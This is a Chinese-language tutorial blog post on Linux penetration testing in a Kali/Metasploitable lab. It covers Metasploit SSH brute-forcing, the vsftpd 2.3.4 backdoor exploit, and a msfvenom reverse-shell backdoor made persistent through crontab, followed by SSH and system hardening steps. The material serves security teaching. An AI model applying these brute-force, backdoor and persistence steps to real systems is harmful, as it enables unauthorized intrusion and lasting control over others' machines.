网络安全-Linux渗透测试4
Linux渗透测试
Linux渗透
Secure Shell
SSH
- SSH是基于应用层的安全协议
- SSH是专为远程登录和其他网络服务提供安全性的协议
- SSH提供基于密码、基于密钥的两种级别的安全验证
- SSH传输的数据会进行加密,可以有效防止远程过程中的信息泄露问题
- SSH传输的数据时会进行数据压缩,可以加快传输的速度
- 远程工具:Putty、FinalShell、MobaXterm、SecrueCRT等等
SSH暴力破解
SSH暴力破解工具
- Hydra、Medusa、msf
- 大部分攻击都是针对Linux 服务器默认管理账号root,攻击者主要使用admin、 root、123456等常见弱密码进行暴力破解
- 少部分攻击是针对tomcat、postgres、 hadoop、 mysql、apache、 ftpuser、 vnc等Linux服务器上常见应用程序使用的用户名
- 攻击者不仅使用常见通用弱密码,还会将用户名当作密码进行攻击
SSH爆破
第一步:创建字典
- 手写一个简单字典,方便实验验证
- vim /root/passwd
第二步:查找MSF辅助爆破脚本
1 | ┌──(root㉿kali)-[~] |
第三步:使用辅助脚本进行SSH爆破
1 | msf6 > use 0 |
第四步:查看会话、切换会话
1 | msf6 auxiliary(scanner/ssh/ssh_login) > sessions |
漏洞利用VSFTPD
vsftpd_234_backdoor(笑脸漏洞),允许攻击者任意用户登录,以root权限执行任意命令
- 用户名以“笑脸”结尾,如xx:)、oo:)
- 密码任意输入
- 成功后开启6200端口,执行任意命令
环境准备
- 靶机:Linux
漏洞利用
1 | msf6 > search vsftpd |
Linux后门
什么是Msfvenom
Msfvenom
- Msfvenom是MSF框架配套的攻击载荷生成器
- 可以用来生成木马程序,并在目标机上执行,在本地监听上线
部分参数
- -p选择一个载荷
- -f生成的文件格式,elf(Linux下可执行文件) exe (Windows下执行)
- -lhost 监听地址
- -lport 监听端口
- -o 输出文件名
- -h帮助
Msfvenom生成后门文件
第一步:在kali生成后门文件
1 | ┌──(root㉿kali)-[~] |
第二步:确保开启Linux靶机的root用户,并设置密码root
上传后门文件至靶机
在暴力破解成功的情况下,通过kali将后门文件发送到目标主机
- 在kali中发送后门文件至靶机的/mnt/下
1 | ┌──(root㉿kali)-[~] |
- 在靶机中查看后门文件是否存在
1 | root@metasploitable:~# ls /mnt/ |
注:上传可能会报错,是由于kali缺少配置导致的,按照以下步骤进行修复
1 | ┌──(root㉿kali)-[~] |
- config文件中添加以下内容
1 | Host * |
给后门文件添加执行权限
- 第一步:控制靶机,添加执行权限
1 | root@metasploitable:~# ls -l /mnt |
- 第二步:控制靶机,后台运行后门程序
1 | root@metasploitable:~# chmod a+x /mnt/shell |
建立连接
- kali进入MSF,使用侦听脚本,建立连接
1 | ┌──(root㉿kali)-[~] |
备注:如果连接不上,靶机多次执行/mnt/shell &命令
- 进入反弹连接,获取用户信息
1 | meterpreter > getuid |
创建计划任务
Linux crontab命令
- crontab:计划任务,用来定期执行程序的命令
- crontab -e:编辑计划任务
- crontab -l:显示计划任务
先查看计划任务格式
1 | # m h dom mon dow command //分 时 日 月 周 命令 |
在靶机上创建计划任务
- -e:执行文字编辑器来设定计划任务,内定的文字编辑器是vi
- EDITOR=vim:指定编辑器为vim
1 | root@metasploitable:~# EDITOR=vim crontab -e |
列出目前的任务
1 | root@metasploitable:~# crontab -l |
自动运行后门文件
- 验证计划任务
- 重启靶机,验证kali是否能够连接后台文件
1 | ┌──(root㉿kali)-[~] |
会话放入后台运行
background
- 在渗透的时候,有时需要执行其他任务,为了执行新任务,需要将当前的Meterpreter会话切换到后台,这时就需要用到background命令
1 | meterpreter > background |
多会话管理
- 重新运行监听脚本
1 | msf6 exploit(multi/handler)> run |
- 通过session ID快速切换
1 | msf6 exploit(multi/handler) > sessions 1 |
Linux安全加固
Linux安全基线
指的是使Linux各项配置都符合安全要求的基本标准
- 账号/密码:口令复杂度/wheel组
- SSH登录控制:禁root/改端口/密码/密钥验证
- 文件权限控制
- 内核参数调整
系统加固的必要性
加固目的
- 操作系统是整个信息系统安全的基础
- 各种应用安全都依赖于操作系统
加固方式
- 手动修改加固项配置,或执行相关命令
- 脚本或自动化工具批量加固,比如华为的openEuler-security加固服务
加固内容
- 系统服务、文件权限、内核参数、授权认证、账号口令
系统加固的影响
- 可能会影响用户的使用习惯,影响系统易用性
禁止root远程ssh
- 调整sshd服务端配置文件
1 | vim /etc/ssh/sshd_config |
命令行超时限制
针对后续登录的所有用户
- 调整/etc/profile文件中的TMOUT变量值
针对通过SSH登录的用户
- 调整/etc/ssh/sshd_config文件中的ClientAliveInterval值
1 | vim /etc/profile |
密码有效期限
调整/etc/login.defs配置文件
- 此文件定义了useradd的默认设置,会影响后续新创建的用户
- 若有需要,也可用chage命令直接设置特定用户的密码参数
1 | vim /etc/login.defs //设置新建用户时的默认密码有效期 |
对称加密
对称加密
- 加密和解密速度快,效率高
- 加密和解密使用相同的密钥,所以叫对称加密
- 对称加密包含多种算法,如:DES、3DES、AES
- 加密长度一般小于256位
- 防止数据泄露
非对称加密
非对称加密(密钥对)
- 由公钥和私钥组成,两个密钥相互加密和解密
- 用公钥对数据进行加密,用对应的私钥才能解密
- 用私钥对数据进行加密,用对应的公钥才能解密
- 非对称加密常用算法:RSA、DSA(数字签名算法
- 加密长度一般为512、1024、2048等
- 加密和解密速度较慢
密码对访问Linux
用MobaXterm新建本地终端
检查原来是否生成过秘钥文件,如果有删除即可
第一步:创建秘钥对
- 使用MobaXterm生成公钥、私钥
- 公私钥保存位置
第二步:拷贝公钥到Linux系统
- 在Linux中验证是否上传成功
第三步:修改配置文件,禁止使用密码登录Linux系统
- 重启SSH服务
第四步:在MobaXterm中,使用SSH连接目标主机
其他加固措施
- 系统服务加固:SSH/WEB/数据库/FTP等
- 文件权限:rwx控制/删除无主文件/删除空链接/umask调整
- 内核参数:禁ping/禁转发/禁ICMP重定向/SYN cookie保护
- SELinux策略:强保护/服务策略/端口策略/安全上下文
- 授权认证:远程限制/GRUB加密/禁止交互启动
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Nicopilot!